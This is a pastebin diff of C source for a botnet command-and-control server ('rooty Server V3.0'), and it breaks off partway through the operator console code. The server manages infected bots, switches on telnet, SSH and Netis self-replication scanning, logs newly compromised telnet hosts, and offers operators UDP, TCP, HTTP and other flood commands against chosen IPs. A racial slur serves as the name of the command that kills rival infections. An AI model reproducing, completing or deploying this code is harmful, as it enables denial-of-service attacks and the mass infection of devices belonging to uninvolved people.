View difference between Paste ID: BYCa5dYP and 5r6DtmBv
SHOW: | | - or go back to the newest paste.
1
/*
2
:::::::::   ::::::::   ::::::::  ::::::::::: :::   :::
3
:+:    :+: :+:    :+: :+:    :+:     :+:     :+:   :+:
4
+:+    +:+ +:+    +:+ +:+    +:+     +:+      +:+ +:+
5
+#++:++#:  +#+    +:+ +#+    +:+     +#+       +#++:
6
+#+    +#+ +#+    +#+ +#+    +#+     +#+        +#+
7
#+#    #+# #+#    #+# #+#    #+#     #+#        #+#
8
###    ###  ########   ########      ###        ###
9
 
10
11
If you have this you are trusted. Please do not leak!
12
13
rooty Server V3.0
14
15
make sure the login file is named LOGIN.txt
16
17
*/
18
19
#include <stdio.h>
20
#include <stdlib.h>
21
#include <string.h>
22
#include <sys/types.h>
23
#include <sys/socket.h>
24
#include <netdb.h>
25
#include <unistd.h>
26
#include <time.h>
27
#include <fcntl.h>
28
#include <sys/epoll.h>
29
#include <errno.h>
30
#include <pthread.h>
31
#include <signal.h>
32
#define MAXFDS 1000000
33
//////////////////////////////////
34
struct login_info {
35
	char username[20];
36
	char password[20];
37
};
38
static struct login_info accounts[22];
39
struct clientdata_t {
40
        uint32_t ip;
41
        char connected;
42
} clients[MAXFDS];
43
struct telnetdata_t {
44
        int connected;
45
} managements[MAXFDS];
46
struct args {
47
        int sock;
48
        struct sockaddr_in cli_addr;
49
};
50
static volatile FILE *telFD;
51
static volatile FILE *fileFD;
52
static volatile int epollFD = 0;
53
static volatile int listenFD = 0;
54
static volatile int OperatorsConnected = 0;
55
static volatile int TELFound = 0;
56
static volatile int scannerreport;
57
//////////////////////////////////
58
int fdgets(unsigned char *buffer, int bufferSize, int fd) {
59
	int total = 0, got = 1;
60
	while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
61
	return got;
62
}
63
void trim(char *str) {
64
	int i;
65
    int begin = 0;
66
    int end = strlen(str) - 1;
67
    while (isspace(str[begin])) begin++;
68
    while ((end >= begin) && isspace(str[end])) end--;
69
    for (i = begin; i <= end; i++) str[i - begin] = str[i];
70
    str[i - begin] = '\0';
71
}
72
static int make_socket_non_blocking (int sfd) {
73
	int flags, s;
74
	flags = fcntl (sfd, F_GETFL, 0);
75
	if (flags == -1) {
76
		perror ("fcntl");
77
		return -1;
78
	}
79
	flags |= O_NONBLOCK;
80
	s = fcntl (sfd, F_SETFL, flags);
81
    if (s == -1) {
82
		perror ("fcntl");
83
		return -1;
84
	}
85
	return 0;
86
}
87
static int create_and_bind (char *port) {
88
	struct addrinfo hints;
89
	struct addrinfo *result, *rp;
90
	int s, sfd;
91
	memset (&hints, 0, sizeof (struct addrinfo));
92
	hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
93
	hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
94
    hints.ai_flags = AI_PASSIVE;     /* All interfaces */
95
    s = getaddrinfo (NULL, port, &hints, &result);
96
    if (s != 0) {
97
		fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
98
		return -1;
99
	}
100
	for (rp = result; rp != NULL; rp = rp->ai_next) {
101
		sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
102
		if (sfd == -1) continue;
103
		int yes = 1;
104
		if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
105
		s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
106
		if (s == 0) {
107
			break;
108
		}
109
		close (sfd);
110
	}
111
	if (rp == NULL) {
112
		fprintf (stderr, "Could not bind\n");
113
		return -1;
114
	}
115
	freeaddrinfo (result);
116
	return sfd;
117
}
118
void broadcast(char *msg, int us, char *sender)
119
{
120
        int sendMGM = 1;
121
        if(strcmp(msg, "PING") == 0) sendMGM = 0;
122
        char *wot = malloc(strlen(msg) + 10);
123
        memset(wot, 0, strlen(msg) + 10);
124
        strcpy(wot, msg);
125
        trim(wot);
126
        time_t rawtime;
127
        struct tm * timeinfo;
128
        time(&rawtime);
129
        timeinfo = localtime(&rawtime);
130
        char *timestamp = asctime(timeinfo);
131
        trim(timestamp);
132
        int i;
133
        for(i = 0; i < MAXFDS; i++)
134
        {
135
                if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
136
                if(sendMGM && managements[i].connected)
137
                {
138
                        send(i, "\x1b[1;35m", 9, MSG_NOSIGNAL);
139
                        send(i, sender, strlen(sender), MSG_NOSIGNAL);
140
                        send(i, ": ", 2, MSG_NOSIGNAL); 
141
                }
142
                send(i, msg, strlen(msg), MSG_NOSIGNAL);
143
                if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[1;32~> \x1b[36m", 13, MSG_NOSIGNAL);
144
                else send(i, "\n", 1, MSG_NOSIGNAL);
145
        }
146
        free(wot);
147
}
148
void *BotEventLoop(void *useless) {
149
	struct epoll_event event;
150
	struct epoll_event *events;
151
	int s;
152
    events = calloc (MAXFDS, sizeof event);
153
    while (1) {
154
		int n, i;
155
		n = epoll_wait (epollFD, events, MAXFDS, -1);
156
		for (i = 0; i < n; i++) {
157
			if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
158
				clients[events[i].data.fd].connected = 0;
159
				close(events[i].data.fd);
160
				continue;
161
			}
162
			else if (listenFD == events[i].data.fd) {
163
               while (1) {
164
				struct sockaddr in_addr;
165
                socklen_t in_len;
166
                int infd, ipIndex;
167
168
                in_len = sizeof in_addr;
169
                infd = accept (listenFD, &in_addr, &in_len);
170
				if (infd == -1) {
171
					if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
172
                    else {
173
						perror ("accept");
174
						break;
175
						 }
176
				}
177
178
				clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
179
				int dup = 0;
180
				for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
181
					if(!clients[ipIndex].connected || ipIndex == infd) continue;
182
					if(clients[ipIndex].ip == clients[infd].ip) {
183
						dup = 1;
184
						break;
185
					}}
186
				if(dup) {
187
					if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
188
                    close(infd);
189
                    continue;
190
				}
191
				s = make_socket_non_blocking (infd);
192
				if (s == -1) { close(infd); break; }
193
				event.data.fd = infd;
194
				event.events = EPOLLIN | EPOLLET;
195
				s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
196
				if (s == -1) {
197
					perror ("epoll_ctl");
198
					close(infd);
199
					break;
200
				}
201
				clients[infd].connected = 1;
202
				send(infd, "!* NIGGERKILL\n", 15, MSG_NOSIGNAL);
203
				send(infd, "!* TELSCAN ON\n", 15, MSG_NOSIGNAL);
204
			}
205
			continue;
206
		}
207
		else {
208
			int datafd = events[i].data.fd;
209
			struct clientdata_t *client = &(clients[datafd]);
210
			int done = 0;
211
            client->connected = 1;
212
			while (1) {
213
				ssize_t count;
214
				char buf[2048];
215
				memset(buf, 0, sizeof buf);
216
				while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
217
					if(strstr(buf, "\n") == NULL) { done = 1; break; }
218
					trim(buf);
219
					if(strcmp(buf, "PING") == 0) {
220
						if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
221
						continue;
222
					}
223
					if(strstr(buf, "REPORT ") == buf) {
224
						char *line = strstr(buf, "REPORT ") + 7;
225
						fprintf(telFD, "%s\n", line);
226
						fflush(telFD);
227
						TELFound++;
228
						continue;
229
					}
230
					if(strstr(buf, "PROBING") == buf) {
231
						char *line = strstr(buf, "PROBING");
232
						scannerreport = 1;
233
						continue;
234
					}
235
					if(strstr(buf, "REMOVING PROBE") == buf) {
236
						char *line = strstr(buf, "REMOVING PROBE");
237
						scannerreport = 0;
238
						continue;
239
					}
240
					if(strcmp(buf, "PONG") == 0) {
241
						continue;
242
					}
243
					printf("buf: \"%s\"\n", buf);
244
				}
245
				if (count == -1) {
246
					if (errno != EAGAIN) {
247
						done = 1;
248
					}
249
					break;
250
				}
251
				else if (count == 0) {
252
					done = 1;
253
					break;
254
				}
255
			if (done) {
256
				client->connected = 0;
257
				close(datafd);
258
					}
259
				}
260
			}
261
		}
262
	}
263
}
264
unsigned int BotsConnected() {
265
	int i = 0, total = 0;
266
	for(i = 0; i < MAXFDS; i++) {
267
		if(!clients[i].connected) continue;
268
		total++;
269
	}
270
	return total;
271
}
272
void *titleWriter(void *sock) 
273
{
274
        int thefd = (int)sock;
275
        char string[2048];
276
        while(1)
277
        {
278
                memset(string, 0, 2048);
279
		sprintf(string, "%c]0; - Roots Slaves: %d - Telnets: %d - Admins: %d -%c", '\033', BotsConnected(), TELFound, OperatorsConnected, '\007');
280
                if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
281
 
282
                sleep(3);
283
        }
284
}
285
int Search_in_File(char *str)
286
{
287
    FILE *fp;
288
    int line_num = 0;
289
    int find_result = 0, find_line=0;
290
    char temp[512];
291
292
    if((fp = fopen("rooty.txt", "r")) == NULL){
293
        return(-1);
294
    }
295
    while(fgets(temp, 512, fp) != NULL){
296
        if((strstr(temp, str)) != NULL){
297
            find_result++;
298
            find_line = line_num;
299
        }
300
        line_num++;
301
    }
302
    if(fp)
303
        fclose(fp);
304
305
    if(find_result == 0)return 0;
306
307
    return find_line;
308
}
309
void client_addr(struct sockaddr_in addr){
310
        printf("IP:%d.%d.%d.%d\n",
311
        addr.sin_addr.s_addr & 0xFF,
312
        (addr.sin_addr.s_addr & 0xFF00)>>8,
313
        (addr.sin_addr.s_addr & 0xFF0000)>>16,
314
        (addr.sin_addr.s_addr & 0xFF000000)>>24);
315
        FILE *logFile;
316
        logFile = fopen("Connections.log", "a");
317
        fprintf(logFile, "\nIP:%d.%d.%d.%d ",
318
        addr.sin_addr.s_addr & 0xFF,
319
        (addr.sin_addr.s_addr & 0xFF00)>>8,
320
        (addr.sin_addr.s_addr & 0xFF0000)>>16,
321
        (addr.sin_addr.s_addr & 0xFF000000)>>24);
322
        fclose(logFile);
323
}
324
void *telnetWorker(void *sock)
325
{
326
		char usernamez[80];
327
        int thefd = (int)sock;
328
		int find_line;
329
        OperatorsConnected++;
330
        pthread_t title;
331
        char counter[2048];
332
        memset(counter, 0, 2048);
333
        char buf[2048];
334
        char* nickstring;
335
        char* username;
336
        char* password;
337
        memset(buf, 0, sizeof buf);
338
        char botnet[2048];
339
        memset(botnet, 0, 2048);
340
    
341
        FILE *fp;
342
        int i=0;
343
        int c;
344
        fp=fopen("rooty.txt", "r"); 
345
        while(!feof(fp)) 
346
		{
347
				c=fgetc(fp);
348
				++i;
349
        }
350
        int j=0;
351
        rewind(fp);
352
        while(j!=i-1) 
353
		{
354
			fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
355
			++j;
356
        }
357
        
358
        if(send(thefd, "\x1b[34mLogin:\x1b[33m ", 16, MSG_NOSIGNAL) == -1) goto end;
359
        if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
360
        trim(buf);
361
		sprintf(usernamez, buf);
362
        nickstring = ("%s", buf);
363
        find_line = Search_in_File(nickstring);
364
        if(strcmp(nickstring, accounts[find_line].username) == 0){					
365
        if(send(thefd, "\x1b[36mPassword:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
366
        if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
367
        trim(buf);
368
        if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
369
        memset(buf, 0, 2048);
370
		if(send(thefd, "\x1b[36m++++   Login Is Correct fatty   ++++\r\n++++ Please Remember To Love Root ++++\r\n", 100, MSG_NOSIGNAL) == -1) goto end;
371
		sleep(3);
372
        goto dope;
373
        }
374
        failed:
375
        if(send(thefd, "\033[1A", 6, MSG_NOSIGNAL) == -1) goto end;
376
        if(send(thefd, "\x1b[37m***********************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
377
        if(send(thefd, "\x1b[37m*  Incorrect Credentials!         *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
378
		if(send(thefd, "\x1b[37m*  This has been logged fatty     *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
379
        if(send(thefd, "\x1b[37m***********************************\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
380
		    sleep(5);
381
        goto end;
382
		dope:
383
		pthread_create(&title, NULL, &titleWriter, sock);
384
		char dope1 [80];
385
		char dope2 [80];
386
		char dope3 [80];
387
		char dope4 [80];
388
		char dope5 [80];
389
		char dope6 [80];
390
		char dope7 [80];
391
		sprintf(dope1, "RRoot\r\n");
392
		sprintf(dope2, "Senpai\r\n");
393
		sprintf(dope3, "will\r\n");
394
		sprintf(dope4, "all\r\n");
395
		sprintf(dope5, "ways\r\n");
396
		sprintf(dope6, "be\r\n");
397
		sprintf(dope7, "\x1b[1;35mRoot ;)\r\n");
398
		char clearscreen [2048];
399
		memset(clearscreen, 0, 2048);
400
        if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
401
		if(send(thefd, dope1, strlen(dope1), MSG_NOSIGNAL) == -1) goto end;
402
		sleep(2);
403
		if(send(thefd, dope2, strlen(dope2), MSG_NOSIGNAL) == -1) goto end;
404
		sleep(2);
405
		if(send(thefd, dope3, strlen(dope3), MSG_NOSIGNAL) == -1) goto end;
406
		sleep(2);
407
		if(send(thefd, dope4, strlen(dope4), MSG_NOSIGNAL) == -1) goto end;
408
		sleep(2);
409
		if(send(thefd, dope5, strlen(dope5), MSG_NOSIGNAL) == -1) goto end;
410
		sleep(2);
411
		if(send(thefd, dope6, strlen(dope6), MSG_NOSIGNAL) == -1) goto end;
412
		sleep(2);
413
		if(send(thefd, dope7, strlen(dope7), MSG_NOSIGNAL) == -1) goto end;
414
		sleep(5);
415
		goto fak;
416
		
417
        fak:
418
		
419
		pthread_create(&title, NULL, &titleWriter, sock);
420
		char line1 [999];
421
		char line2 [999];
422
		char line3 [999];
423
		char line4 [999];
424
		char line5 [999];
425
		char line6 [999];
426
		char line7 [999];
427
        char line8 [999];
428
		char line9 [999];
429
        sprintf(line1, "\x1b[0;36m                                                \r\n");
430
		sprintf(line2, "\x1b[1;36m   ██████\x1b[1;37m╗  \x1b[1;36m██████\x1b[1;37m╗  \x1b[1;36m██████\x1b[1;37m╗ \x1b[1;36m████████\x1b[1;37m╗\x1b[1;36m██\x1b[1;37m╗   \x1b[1;36m██\x1b[1;37m╗ \r\n");
431
		sprintf(line3, "\x1b[1;36m   ██\x1b[1;37m╔══\x1b[1;36m██\x1b[1;37m╗\x1b[1;36m██\x1b[1;37m╔═══\x1b[1;36m██\x1b[1;37m╗\x1b[1;36m██\x1b[1;37m╔═══\x1b[1;36m██\x1b[1;37m╗╚══\x1b[1;36m██\x1b[1;37m╔══╝╚\x1b[1;36m██\x1b[1;37m╗ \x1b[1;36m██\x1b[1;37m╔╝  \r\n");
432
		sprintf(line4, "\x1b[1;36m   ██████\x1b[1;37m╔╝\x1b[1;36m██\x1b[1;37m║   \x1b[1;36m██\x1b[1;37m║\x1b[1;36m██\x1b[1;37m║   \x1b[1;36m██\x1b[1;37m║   \x1b[1;36m██\x1b[1;37m║    ╚\x1b[1;36m████\x1b[1;37m╔╝ \r\n");
433
		sprintf(line5, "\x1b[1;36m   ██\x1b[1;37m╔══\x1b[1;36m██\x1b[1;37m╗\x1b[1;36m██\x1b[1;37m║   \x1b[1;36m██\x1b[1;37m║\x1b[1;36m██\x1b[1;37m║   \x1b[1;36m██\x1b[1;37m║   \x1b[1;36m██\x1b[1;37m║     ╚\x1b[1;36m██\x1b[1;37m╔╝ \r\n");
434
		sprintf(line6, "\x1b[1;36m   ██\x1b[1;37m║  \x1b[1;36m██\x1b[1;37m║╚\x1b[1;36m██████\x1b[1;37m╔╝╚\x1b[1;36m██████\x1b[1;37m╔╝   \x1b[1;36m██\x1b[1;37m║      \x1b[1;36m██\x1b[1;37m║   \r\n");
435
		sprintf(line7, "\x1b[1;37m   ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝      ╚═╝  \r\n");
436
        sprintf(line8, "\r\n\x1b[0;36m------Welcome \x1b[0;32m %s\x1b[0;36m To The Rooty Net------\r\n", accounts[find_line].username, buf);
437
		sprintf(line9, "\x1b[0;31m  \x1b[1;31m------Type HELP to Get Help lulz------\x1b[1;31m\r\n\r\n");
438
        if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
439
		if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
440
		if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
441
		if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
442
		if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
443
		if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
444
		if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
445
		if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
446
        if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
447
		if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
448
		while(1) {
449
		if(send(thefd, "\x1b[1;32m~> \x1b[32m", 13, MSG_NOSIGNAL) == -1) goto end;
450
		break;
451
		}
452
		pthread_create(&title, NULL, &titleWriter, sock);
453
        managements[thefd].connected = 1;
454
		
455
        while(fdgets(buf, sizeof buf, thefd) > 0)
456
        {
457
	    if(strstr(buf, "BOTS"))
458
		{  
459
		sprintf(botnet, " [+] Roots Slaves: %d [+] Telnets: %d [+] Admins: %d [+]\r\n", BotsConnected(), TELFound, OperatorsConnected);
460
	    if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
461
        }
462
		if(strstr(buf, "STATUS")) 
463
		{
464
        sprintf(botnet, " [+] Roots Slaves: %d [+] Telnets: %d [+] Admins: %d [+]\r\n", BotsConnected(), TELFound, OperatorsConnected);
465
	    if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
466
	    }
467
		
468
        if(strstr(buf, "bots"))
469
		{  
470
	    sprintf(botnet, " [+] Roots Slaves: %d [+] Telnets: %d [+] Admins: %d [+]\r\n", BotsConnected(), TELFound, OperatorsConnected);
471
	    if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
472
        }  
473
	    if(strstr(buf, "TIME"))
474
		{  
475
    	sprintf(botnet, " you go past 3600 seconds and your ass is fried ~OverLords\r\n");
476
	    if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
477
		}
478
	    if(strstr(buf, "RULES"))
479
		{  
480
		sprintf(botnet, " Please Read The Following Rules if not will result in ban\r\n 1.) DO NOT SHARE YOUR ACCOUNT INFO \r\n 2.) DO NOT SPAM THE NET\r\n 3.) Dont hit any goverment websites\r\n");
481
	    if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
482
        }
483
	    if(strstr(buf, "PORTS"))
484
		{  
485
		sprintf(botnet, " Console~3074 NFO~1094/443 Hotspot~USE A TOOL FOR THEIR PORT\r\n");
486
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
487
        }
488
		if(strstr(buf, "!* NIGGERKILL"))
489
		{  
490
		sprintf(botnet, " Those Boats Got Killd\r\n");
491
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
492
		}
493
		if(strstr(buf, "!* TELSCAN OFF"))
494
		{  
495
		sprintf(botnet, " TELNET SELF REPLIFICATION OFF\r\n");
496
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
497
		}
498
		if(strstr(buf, "!* TELSCAN ON"))
499
		{  
500
		sprintf(botnet, " TELNET SELF REPLIFICATION ON\r\n");
501
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
502
		}
503
		if(strstr(buf, "!* TCP"))
504
		{  
505
		sprintf(botnet, " ATTACK SENT! [TCP]\r\n");
506
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
507
        }
508
		if(strstr(buf, "!* UDP"))
509
		{  
510
		sprintf(botnet, " ATTACK SENT! [UDP]\r\n");
511
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
512
        }
513
		if(strstr(buf, "!* STD"))
514
		{  
515
		sprintf(botnet, " ATTACK SENT! [STD]\r\n");
516
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
517
        }
518
		if(strstr(buf, "!* CNC"))
519
		{  
520
		sprintf(botnet, " ATTACK SENT! [CNC]\r\n");
521
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
522
        }
523
		if(strstr(buf, "INFO"))
524
		{  
525
		sprintf(botnet, " This server side is on Version 2. \r\n modified by root\r\n");
526
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
527
		}
528
		if(strstr(buf, "!* HTTP"))
529
		{  
530
		sprintf(botnet, " ATTACK SENT! [HTTP]\r\n");
531
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
532
        }
533
	    if(strstr(buf, "ports"))
534
		{  
535
		sprintf(botnet, " Console~3074 NFO~1094 Hotspot~USE A TOOL FOR THEIR PORT\r\n");
536
		if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
537
        }
538
			if(strstr(buf, "HELP")) {
539
				pthread_create(&title, NULL, &titleWriter, sock);
540
				char helpline1  [80];
541
				char helpline2  [80];
542
				char helpline3  [80];
543
				char helpline4  [80];
544
545
				sprintf(helpline1,  "\x1b[0;31mType An Option:\r\n");
546
				sprintf(helpline2,  "\x1b[1;37m[\x1b[35mDDOS\x1b[1;37m] ~ Shows all commands for DDoS Attacks\r\n");
547
				sprintf(helpline3,  "\x1b[1;37m[\x1b[34mEXTRA\x1b[1;37m] ~ Shows a list of all extra commands\r\n");
548
				sprintf(helpline4,  "\x1b[1;37m[\x1b[0;34mSELF-REP\x1b[1;37m] ~ SelfRep Commands\r\n");;
549
550
				if(send(thefd, helpline1,  strlen(helpline1),	MSG_NOSIGNAL) == -1) goto end;
551
				if(send(thefd, helpline2,  strlen(helpline2),	MSG_NOSIGNAL) == -1) goto end;
552
				if(send(thefd, helpline3,  strlen(helpline3),	MSG_NOSIGNAL) == -1) goto end;
553
				if(send(thefd, helpline4,  strlen(helpline4),	MSG_NOSIGNAL) == -1) goto end;
554
				pthread_create(&title, NULL, &titleWriter, sock);
555
				if(send(thefd, "\x1b[1;32m~> \x1b[36m", 13, MSG_NOSIGNAL) == -1) goto end;
556
				continue;
557
		}
558
					if(strstr(buf, "DDOS")) {
559
				pthread_create(&title, NULL, &titleWriter, sock);
560
				char ddosline1  [80];
561
				char ddosline2  [80];
562
				char ddosline3  [80];
563
				char ddosline4  [80];
564
				char ddosline5  [80];
565
				char ddosline6  [80];
566
				char ddosline7  [80];
567
				char ddosline8  [80];
568
569
				sprintf(ddosline1, "\x1b[34m | !* UDP [IP] [PORT] [TIME] 32 1024 1         | UDP FLOOD\r\n");
570
				sprintf(ddosline2, "\x1b[36m | !* TCP [IP] [PORT] [TIME] 32 all 1024 1     | TCP FLOOD\r\n");
571
				sprintf(ddosline3, "\x1b[34m | !* HTTP [URL] G|H|P [PORT] / [TIME] 1024    | L7 FLOOD\r\n");
572
				sprintf(ddosline4, "\x1b[36m | !* STD [IP] [PORT] [TIME]                   | STD FLOOD\r\n");
573
				sprintf(ddosline5, "\x1b[34m | !* CNC [IP] [PORT] [TIME]                   | CNC FLOOD\r\n");
574
				sprintf(ddosline6, "\x1b[36m | !* JUNK [IP] [PORT] [TIME]                  | JUNK FLOOD\r\n");
575
				sprintf(ddosline7, "\x1b[34m | !* HOLD [IP] [PORT] [TIME]                  | HOLD FLOOD \r\n");
576
				sprintf(ddosline8, "\x1b[36m | !* KILLATTK                                 | STOP ALL ATTACKS\r\n");
577
578
				if(send(thefd, ddosline1,  strlen(ddosline1),	MSG_NOSIGNAL) == -1) goto end;
579
				if(send(thefd, ddosline2,  strlen(ddosline2),	MSG_NOSIGNAL) == -1) goto end;
580
				if(send(thefd, ddosline3,  strlen(ddosline3),	MSG_NOSIGNAL) == -1) goto end;
581
				if(send(thefd, ddosline4,  strlen(ddosline4),	MSG_NOSIGNAL) == -1) goto end;
582
				if(send(thefd, ddosline5,  strlen(ddosline5),	MSG_NOSIGNAL) == -1) goto end;
583
				if(send(thefd, ddosline6,  strlen(ddosline6),	MSG_NOSIGNAL) == -1) goto end;
584
				if(send(thefd, ddosline7,  strlen(ddosline7),	MSG_NOSIGNAL) == -1) goto end;
585
				if(send(thefd, ddosline8,  strlen(ddosline8),	MSG_NOSIGNAL) == -1) goto end;
586
				pthread_create(&title, NULL, &titleWriter, sock);
587
				if(send(thefd, "\x1b[1;32m~> \x1b[36m", 13, MSG_NOSIGNAL) == -1) goto end;
588
				continue;
589
			}
590
			if(strstr(buf, "SELF-REP")) {
591
				pthread_create(&title, NULL, &titleWriter, sock);
592
				char repline1  [80];
593
				char repline2  [80];
594
				char repline3  [80];
595
				char repline4  [80];
596
				char repline5  [80];
597
				char repline6  [80];
598
				
599
				sprintf(repline1,  "\x1b[34m | !* TELSCAN ON | OFF            | TURNS ON/OFF TELNET SELFREP\r\n");
600
				sprintf(repline2,  "\x1b[36m | !* SSHSCAN ON | OFF            | TURNS ON/OFF SSH SELFREP\r\n");
601
				sprintf(repline3,  "\x1b[34m | !* NETISSCAN ON | OFF          | TURNS ON/OFF NETIS SELFREP\r\n");
602
				sprintf(repline4,  "\x1b[36m | !* UPDATE                      | REINFECTS BOT\r\n");
603
				sprintf(repline5,  "\x1b[34m | !* PYTHON 1|2|3|DOWNLOAD|OFF   | TURNS ON/OFF PYTHON SCANNER\r\n");
604
				sprintf(repline6,  "\x1b[36m | !* NIGGERKILL                  | KILLS OTHERS INFECTIONS\r\n");
605
				if(send(thefd, repline1,  strlen(repline1),	MSG_NOSIGNAL) == -1) goto end;
606
				if(send(thefd, repline2,  strlen(repline2),	MSG_NOSIGNAL) == -1) goto end;
607
				if(send(thefd, repline3,  strlen(repline3),	MSG_NOSIGNAL) == -1) goto end;
608
				if(send(thefd, repline4,  strlen(repline4),	MSG_NOSIGNAL) == -1) goto end;
609
				if(send(thefd, repline5,  strlen(repline5),	MSG_NOSIGNAL) == -1) goto end;
610
				if(send(thefd, repline6,  strlen(repline6),	MSG_NOSIGNAL) == -1) goto end;
611
				pthread_create(&title, NULL, &titleWriter, sock);
612
				if(send(thefd, "\x1b[1;32m~> \x1b[36m", 13, MSG_NOSIGNAL) == -1) goto end;
613
				continue;
614
			}
615
			if(strstr(buf, "EXTRA")) {
616
				pthread_create(&title, NULL, &titleWriter, sock);
617
				char extraline1  [80];
618
				char extraline2  [80];
619
				char extraline3  [80];
620
				char extraline4  [80];
621
				char extraline5  [80];
622
				char extraline6  [80];
623
624
				sprintf(extraline1,  "\x1b[34m | PORTS   | PORTS TO HIT WITH\r\n");
625
				sprintf(extraline2,  "\x1b[36m | BOTS    | BOT COUNT\r\n");
626
				sprintf(extraline3,  "\x1b[34m | CLEAR   | CLEARS SCREEN\r\n");
627
				sprintf(extraline4,  "\x1b[36m | RULES   | SHOWS RULES\r\n");
628
				sprintf(extraline5,  "\x1b[34m | TIME    | SHOWS MAX BOOT TIME\r\n");
629
				sprintf(extraline6,  "\x1b[36m | INFO    | SHOWS INFO ABOUT THIS SERVER SIDE\r\n");
630
631
				if(send(thefd, extraline1,  strlen(extraline1),	MSG_NOSIGNAL) == -1) goto end;
632
				if(send(thefd, extraline2,  strlen(extraline2),	MSG_NOSIGNAL) == -1) goto end;
633
				if(send(thefd, extraline3,  strlen(extraline3),	MSG_NOSIGNAL) == -1) goto end;
634
				if(send(thefd, extraline4,  strlen(extraline4),	MSG_NOSIGNAL) == -1) goto end;
635
				if(send(thefd, extraline5,  strlen(extraline5),	MSG_NOSIGNAL) == -1) goto end;
636
				if(send(thefd, extraline6,  strlen(extraline6),	MSG_NOSIGNAL) == -1) goto end;
637
				pthread_create(&title, NULL, &titleWriter, sock);
638
				if(send(thefd, "\x1b[1;32m~> \x1b[36m", 13, MSG_NOSIGNAL) == -1) goto end;
639
				continue;
640
			}
641
	    if(strstr(buf, "CLEAR")){
642
643
        if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
644
		if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
645
		if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
646
		if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
647
		if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
648
		if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
649
		if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
650
		if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
651
        if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
652
		if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
653
		pthread_create(&title, NULL, &titleWriter, sock);
654
        managements[thefd].connected = 1;
655
     	}
656
		if(strstr(buf, "clear")){
657
658
        if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
659
